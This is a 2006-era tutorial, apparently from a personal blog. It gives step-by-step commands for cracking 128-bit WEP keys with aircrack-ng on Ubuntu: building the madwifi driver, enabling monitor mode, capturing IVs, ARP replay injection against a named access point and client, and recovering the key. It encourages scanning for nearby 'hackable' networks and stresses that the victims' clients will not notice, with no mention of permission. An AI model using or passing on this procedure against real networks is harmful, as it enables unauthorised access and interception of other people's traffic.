

Hacking 128bit WEP with aircrack-ng using madwifi-ng driver on Ubuntu Edgy Eft 6.10

1. Install madwifi-ng

```
ifconfig ath0 down
rmmod wlan_wep ath_rate_sample ath_rate_onoe ath_pci wlan ath_hal
2>/dev/null
find /lib/modules -name 'ath*' -exec rm -v {} \; 2>/dev/null
find /lib/modules -name 'wlan*' -exec rm -v {} \; 2>/dev/null
svn checkout http://svn.madwifi.org/branches/madwifi-old/ madwifi-old
wget http://patches.aircrack-ng.org/madwifi-old-r1417.patch
cd madwifi-old
patch -Np1 -i ../madwifi-old-r1417.patch
make KERNELPATH=/usr/src/linux-<insert version>
make install KERNELPATH=/usr/src/linux-<insert version>
depmod -ae
```

Please reboot you box at first, sometimes madwifi-ng hangs after install. You get errors, check the dmesg:

```
[17184021.008000] ath_hal: 0.9.18.0 (AR5210, AR5211, AR5212, RF5111, RF5112,
RF2413, RF5413)
[17184021.008000] ath_rate_sample: disagrees about version of symbol
ieee80211_iterate_nodes
[17184021.008000] ath_rate_sample: Unknown symbol ieee80211_iterate_nodes
[17184021.008000] ath_rate_sample: disagrees about version of symbol
ieee80211_proc_vcreate
[17184021.008000] ath_rate_sample: Unknown symbol ieee80211_proc_vcreate
[17184021.012000] ath_pci: Unknown symbol ath_rate_tx_complete
[17184021.012000] ath_pci: disagrees about version of symbol ieee80211_encap
[17184021.012000] ath_pci: Unknown symbol ieee80211_encap
```

<http://litch.eu/madwifierr>

To load the kernel module:

```
modprobe ath_pci
```

2. Install aircrack-ng

```
apt-get install aircrack-ng
```

3. Hack it!

At first we have to create a device in monitor mode:

```
root@laptop:~# wlanconfig ath1 create wlandev wifi0 wlanmode monitor ath1
root@laptop:~# ifconfig ath1 up
```

You have to check the possibly hackable wifi networks around you, use airodump-ng without -c flag, just see around. If you find any wifi network which has enough clients on it and the signal strength is enough good then run airodump-ng like this.

```
root@laptop:~# airodump-ng ath1 -w lol -c 8
```

CH 8][Elapsed: 3 hours 20 mins][2006-11-12 17:49							
BSSID	PWR	Beacons	# Data	CH	MB	ENC	ESSID
00:07:40:FE:26:B2	39	111513	667130	8	48	WEP	hackmee
BSSID	STATION		PWR	Packets	Probes		
00:07:40:FE:26:B2	00:0C:F1:27:CA:08		59	75090	FON_litch,hackmee		
00:07:40:FE:26:B2	00:30:65:08:10:92		34	728980	hackmee		

Screen 1: Running airodump-ng

It will catch IVs from channel 8. Nice but this is too slow for 128bit WEP you need 1M IVs. How we can do faster?

```
aireplay-ng --arpreplay -b 00:07:40:FE:26:B2 -h 00:30:65:08:10:92 ath1
```

The b param is the attacked AP and the h param is one of the connected clients MAC.

```
root@laptop:~# aireplay-ng --arpreplay -b 00:07:40:FE:26:B2 -h 00:30:65:08:10:92 ath1
Saving ARP requests in replay_arp-1112-174822.cap
You should also start airodump-ng to capture replies.
Read 68417 packets (got 9153 ARP requests), sent 23861 packets...
```

Screen 2: Running aireplay-ng

You have many chance to improve the speed of the hack but i won't show, this is the fastest method which is not so aggressive and the clients will not recognise what is going on.

At last, you have to analyse and find the WEP key using the airodump-ng output file.

```
[root@save /home/litch/hack]# aircrack-ng hackme-01.cap
Opening hackme-01.cap
Read 19185730 packets.

# BSSID ESSID Encryption
1 00:07:40:FE:26:B2 hackmee WEP (1103332 IVs)
2 00:18: FON_litch None (0.0.0.0)
3 02:0B: Unknown
4 00:18: fonera_wpa No data - WEP or WPA
5 00:18: FON_fonera_litch None (0.0.0.0)

Index number of target network ? [ ]
```

```
192.168.0.100 - PuTTY

Aircrack-ng 0.6.2

[00:00:32] Tested 176385 keys (got 1103332 IVs)

KB    depth  byte(vote)
0     0/ 1    DE( 291) CD(  22) B3(  15) 0A(  15) E4(  15) 78(  15) 47(  5) BB(  5) D2(  4)
1     0/ 1    AD( 170) FA(  36) 99(  27) 54(  23) 9F(  18) 5A(  16) 90(  15) 89(  15) 29(  15)
2     0/ 2    BE(  99) 4B(  68) 3B(  33) FE(  15) 50(  12) A2(  12) A6(  5) 39(  2) ED(  0)
3     0/ 2    84(  52) 79(  29) 63(  20) DE(  15) FD(  15) A3(  15) 7A(  7) 77(  6) EF(  3)
4     0/ 1    7D( 231) A8(  33) A9(  33) F4(  25) FF(  21) 27(  21) EE(  19) 53(  19) 28(  18)
5     0/ 9    F2(  30) 6F(  24) EB(  18) 9F(  18) 03(  15) 7D(  15) 10(  15) 4B(  15) EF(  15)
6     0/ 46    EB( 152) A7( 148) 6F( 140) 72( 135) 94( 131) 26( 128) 6C( 126) 82( 124) F0( 122)
7     1/ 4    7F(  42) A4(  39) AF(  33) 23(  30) 84(  25) EE(  15) 01(  15) 7A(  15) 34(  12)
8     0/ 1    FA( 127) EF(  44) 00(  39) 03(  30) 1A(  30) A4(  27) 58(  25) F1(  24) 68(  24)
9     0/ 2    A4(  93) FC(  48) 14(  27) A0(  27) FA(  24) 54(  24) 9F(  24) 93(  24) D3(  23)
10    2/ 15    60(  30) B5(  30) EC(  29) 39(  28) 35(  27) 6E(  27) 61(  27) 5D(  27) A3(  25)
11    0/ 93    D0( 242) DD( 242) 72( 235) 4B( 230) DE( 225) C6( 224) F0( 224) CF( 222) 1A( 220)
```

(For 64bit long keys use -n64 switch in aircrack-ng)

Good luck!

litch@huwico.hu